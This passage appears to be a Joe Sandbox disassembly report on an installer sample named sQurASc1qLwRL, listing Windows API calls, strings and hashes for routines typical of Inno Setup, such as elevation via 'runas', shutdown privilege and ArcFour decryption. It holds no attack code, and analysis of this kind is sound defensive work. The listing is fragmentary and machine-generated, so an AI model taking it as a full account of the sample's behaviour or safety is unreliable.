                                                                                                                                                                                                                                      • API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
                                                                                                                                                                                                                                      • String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
                                                                                                                                                                                                                                      • API String ID: 770386003-3271284199
                                                                                                                                                                                                                                      • Opcode ID: 9504134f1b0840cae109e3ce12893ae1ca881710e7b52e2eec49e0a39d18bb41
                                                                                                                                                                                                                                      • Instruction ID: 01244017a6d81f6d28e4b5174d8fffcdbc0783d4be9496fecaa57000614c8eca
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9504134f1b0840cae109e3ce12893ae1ca881710e7b52e2eec49e0a39d18bb41
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 71711370A003449EDB10EF65CC45B9EBBF4EB15705F5084BAF918FB282DB7899448F69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00477E90: GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EA9
                                                                                                                                                                                                                                        • Part of subcall function 00477E90: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00477EAF
                                                                                                                                                                                                                                        • Part of subcall function 00477E90: GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477EC2
                                                                                                                                                                                                                                        • Part of subcall function 00477E90: CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,020B2BF0,?,?,?,020B2BF0), ref: 00477EEC
                                                                                                                                                                                                                                        • Part of subcall function 00477E90: CloseHandle.KERNEL32(00000000,?,?,?,020B2BF0,00478054,00000000,00478172,?,?,-00000010,?), ref: 00477F0A
                                                                                                                                                                                                                                        • Part of subcall function 00477F68: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00477FFA,?,?,?,020B2BF0,?,0047805C,00000000,00478172,?,?,-00000010,?), ref: 00477F98
                                                                                                                                                                                                                                      • ShellExecuteEx.SHELL32(0000003C), ref: 004780AC
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00478172,?,?,-00000010,?), ref: 004780B5
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00478102
                                                                                                                                                                                                                                      • GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 00478126
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00478157,00000000,00000000,000000FF,000000FF,00000000,00478150,?,00000000,00478172,?,?,-00000010,?), ref: 0047814A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Handle$CloseFile$AddressAttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcProcessShellWait
                                                                                                                                                                                                                                      • String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
                                                                                                                                                                                                                                      • API String ID: 883996979-221126205
                                                                                                                                                                                                                                      • Opcode ID: 3f9d2181694077b21b868e71eca94cf7724c1513c234160a79aee89dede81d9c
                                                                                                                                                                                                                                      • Instruction ID: 4776828256a8cc8572350b5820200226dc7264e1f18f620f8b2e082d5f540a6f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3f9d2181694077b21b868e71eca94cf7724c1513c234160a79aee89dede81d9c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E316670940208AEDB10EFE6C845ADEB7B8EB04318F90847FF518F7281DA7899058B59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 004229F4
                                                                                                                                                                                                                                      • ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422BBE), ref: 00422A04
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MessageSendShowWindow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1631623395-0
                                                                                                                                                                                                                                      • Opcode ID: feaf7eda56c5d7a46aeac68601ea302718d54c2d1d0da18b2df088f526b52f35
                                                                                                                                                                                                                                      • Instruction ID: 9e9026b6a08d43f4c34b0c014f83afec13b9727198b5f0eb67f7172f0d04fbcb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: feaf7eda56c5d7a46aeac68601ea302718d54c2d1d0da18b2df088f526b52f35
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 90915171B04214BFDB11EFA9DA86F9D77F4AB04304F5500BAF504AB392CB78AE419B58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 00418393
                                                                                                                                                                                                                                      • GetWindowPlacement.USER32(?,0000002C), ref: 004183B0
                                                                                                                                                                                                                                      • GetWindowRect.USER32(?), ref: 004183CC
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F0), ref: 004183DA
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F8), ref: 004183EF
                                                                                                                                                                                                                                      • ScreenToClient.USER32(00000000), ref: 004183F8
                                                                                                                                                                                                                                      • ScreenToClient.USER32(00000000,?), ref: 00418403
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ClientLongScreen$IconicPlacementRect
                                                                                                                                                                                                                                      • String ID: ,
                                                                                                                                                                                                                                      • API String ID: 2266315723-3772416878
                                                                                                                                                                                                                                      • Opcode ID: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
                                                                                                                                                                                                                                      • Instruction ID: 8875a2d430ef8be2c5346fa25315cde737655516302bc4d2344e38a88124d083
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 093fbc58c9f2bb22a74bd7cb36b3f86111f4d6c014dbe9a16a5ffda61369e0f0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2B112B71505201ABEB00DF69C885F9B77E8AF48314F04067EFD58DB296D738D900CB65
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
                                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9
                                                                                                                                                                                                                                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00455612
                                                                                                                                                                                                                                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00455639
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045563E
                                                                                                                                                                                                                                      • ExitWindowsEx.USER32(00000002,00000000), ref: 0045564F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
                                                                                                                                                                                                                                      • String ID: SeShutdownPrivilege
                                                                                                                                                                                                                                      • API String ID: 107509674-3733053543
                                                                                                                                                                                                                                      • Opcode ID: 71598a6bdd6d5fb56d5762fa92910e3e26de8c4971b3032dc2bdc18874b6a41e
                                                                                                                                                                                                                                      • Instruction ID: 23182b732e3c774e917f784577cc733395bd6f0e504c2650860deaf78f25ff04
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 71598a6bdd6d5fb56d5762fa92910e3e26de8c4971b3032dc2bdc18874b6a41e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CBF0C870294B41B9EA10A6718C17F3B21C89B40709F80083ABD05E90D3D7BDD40C4A2E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045CFE1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045CFF1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045D001
                                                                                                                                                                                                                                      • ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047F453,00000000,0047F47C), ref: 0045D026
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$CryptVersion
                                                                                                                                                                                                                                      • String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
                                                                                                                                                                                                                                      • API String ID: 1951258720-508647305
                                                                                                                                                                                                                                      • Opcode ID: 6bea81dda9fbb2f0804f4d34ed7f3fdf770b10932dc8999661774a36d6befbc1
                                                                                                                                                                                                                                      • Instruction ID: 053e23ae93e59936775da3b85939a49c1ec117bb16e32bace9e6a444f988995f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6bea81dda9fbb2f0804f4d34ed7f3fdf770b10932dc8999661774a36d6befbc1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3EF0F9B0980700CBE728EFB6ACC67263795EB9570AF14813BA808A11E2D7780499CB1C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,00497D52,?,?,00000000,0049B628,?,00497EDC,00000000,00497F30,?,?,00000000,0049B628), ref: 00497C6B
                                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(00000000,00000010), ref: 00497CEE
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,00497D2A,?,00000000,?,00000000,00497D52,?,?,00000000,0049B628,?,00497EDC,00000000), ref: 00497D06
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,00497D31,00497D2A,?,00000000,?,00000000,00497D52,?,?,00000000,0049B628,?,00497EDC,00000000,00497F30), ref: 00497D24
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileFind$AttributesCloseFirstNext
                                                                                                                                                                                                                                      • String ID: isRS-$isRS-???.tmp
                                                                                                                                                                                                                                      • API String ID: 134685335-3422211394
                                                                                                                                                                                                                                      • Opcode ID: 364c0e76f2c6b87ee015195f117b48597cda05d20fe84bdce713179882c005fd
                                                                                                                                                                                                                                      • Instruction ID: 58584d30a9cebb9496c34c78ac808807487b68c9e5340ea926fa5a91c3adbdad
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 364c0e76f2c6b87ee015195f117b48597cda05d20fe84bdce713179882c005fd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 22316571A146086BDF10EF65CC41ADEBBBCDF49304F5085BBA908A32A1E63C9E458F58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 0045745D
                                                                                                                                                                                                                                      • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457484
                                                                                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 00457495
                                                                                                                                                                                                                                      • NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,0045776F,?,00000000,004577AB), ref: 0045775A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Cannot evaluate variable because [Code] isn't running yet, xrefs: 004575DA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MessagePostWindow$ForegroundNtdllProc_
                                                                                                                                                                                                                                      • String ID: Cannot evaluate variable because [Code] isn't running yet
                                                                                                                                                                                                                                      • API String ID: 2236967946-3182603685
                                                                                                                                                                                                                                      • Opcode ID: 6bd6caa41a15310477e83bc0a49d1206285915d7cd4776c217e2dcd25b97f1c8
                                                                                                                                                                                                                                      • Instruction ID: fa7acb0e2d6b8d582b6902519899a90ae2b0afcf3fbb82d78ce799b77582f668
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6bd6caa41a15310477e83bc0a49d1206285915d7cd4776c217e2dcd25b97f1c8
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DF91D134608204EFD715CF69E991F5ABBF9FB49704F2180BAEC0497792D638AE04DB58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00455F4B), ref: 00455E3C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455E42
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: GetDiskFreeSpaceExA$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-3712701948
                                                                                                                                                                                                                                      • Opcode ID: 425acd45c57e1a90a14b519a9b70c26380c560e6a4faa307eedde0d31f767984
                                                                                                                                                                                                                                      • Instruction ID: d81c9a8c7c52065d28d66f53e81ce4f313aa74f068c2efe820cb9bfc493487ae
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 425acd45c57e1a90a14b519a9b70c26380c560e6a4faa307eedde0d31f767984
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B0418671A04649AFCF01EFA5C8929EEB7B8EF48305F504567F804F7292D67C5E098B68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 00417D0F
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
                                                                                                                                                                                                                                      • GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
                                                                                                                                                                                                                                      • SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$Placement$Iconic
                                                                                                                                                                                                                                      • String ID: ,
                                                                                                                                                                                                                                      • API String ID: 568898626-3772416878
                                                                                                                                                                                                                                      • Opcode ID: a0af22d6e47f15c5c805b34526d81a80d06eca119401db975a7b3104afeb2d4e
                                                                                                                                                                                                                                      • Instruction ID: e85585575f8c5a3e7823c55acc6b28d6d187d41511fbfc80546af44b70413e2d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a0af22d6e47f15c5c805b34526d81a80d06eca119401db975a7b3104afeb2d4e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4C2112716042089BDF10EF69D8C1AEA77B8AF48314F05456AFD18DF346D678DD84CBA8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001,00000000,00463D0D), ref: 00463B81
                                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,00463CE0,?,00000001,00000000,00463D0D), ref: 00463C10
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,00463CC2,?,00000000,?,00000000,00463CE0,?,00000001,00000000,00463D0D), ref: 00463CA2
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,00463CC9,00463CC2,?,00000000,?,00000000,00463CE0,?,00000001,00000000,00463D0D), ref: 00463CBC
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$File$CloseErrorFirstModeNext
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4011626565-0
                                                                                                                                                                                                                                      • Opcode ID: ea3eed7d1408edc3882bc6792a8114668d7e879bec7624fad3ea01842ef17e57
                                                                                                                                                                                                                                      • Instruction ID: 951735f7a3c6dd48f486321ddf7fb9c00a217b4e97ee71939f184256b73d479b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ea3eed7d1408edc3882bc6792a8114668d7e879bec7624fad3ea01842ef17e57
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2B41A871A00A58AFCB10EF65DC45ADDB7B8EB88706F4044BAF404B7381E67C9F488E59
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001,00000000,004641B3), ref: 00464041
                                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,0046417E,?,00000001,00000000,004641B3), ref: 00464087
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,00464160,?,00000000,?,00000000,0046417E,?,00000001,00000000,004641B3), ref: 0046413C
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,00464167,00464160,?,00000000,?,00000000,0046417E,?,00000001,00000000,004641B3), ref: 0046415A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$File$CloseErrorFirstModeNext
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4011626565-0
                                                                                                                                                                                                                                      • Opcode ID: 178f21a278dbeca0b5487afb4cc8a3a474e9964bec91cf1fa54baf1df103d301
                                                                                                                                                                                                                                      • Instruction ID: 3e1e9a66f2526eb02ce93895e5fa1006c5947d115418489384634c6f5ce8cf05
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 178f21a278dbeca0b5487afb4cc8a3a474e9964bec91cf1fa54baf1df103d301
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7341A434B00A58AFCF11EF65CC859DEB7B9EBC8305F4044AAF804A7341E6389E848E49
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E956
                                                                                                                                                                                                                                      • DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E981
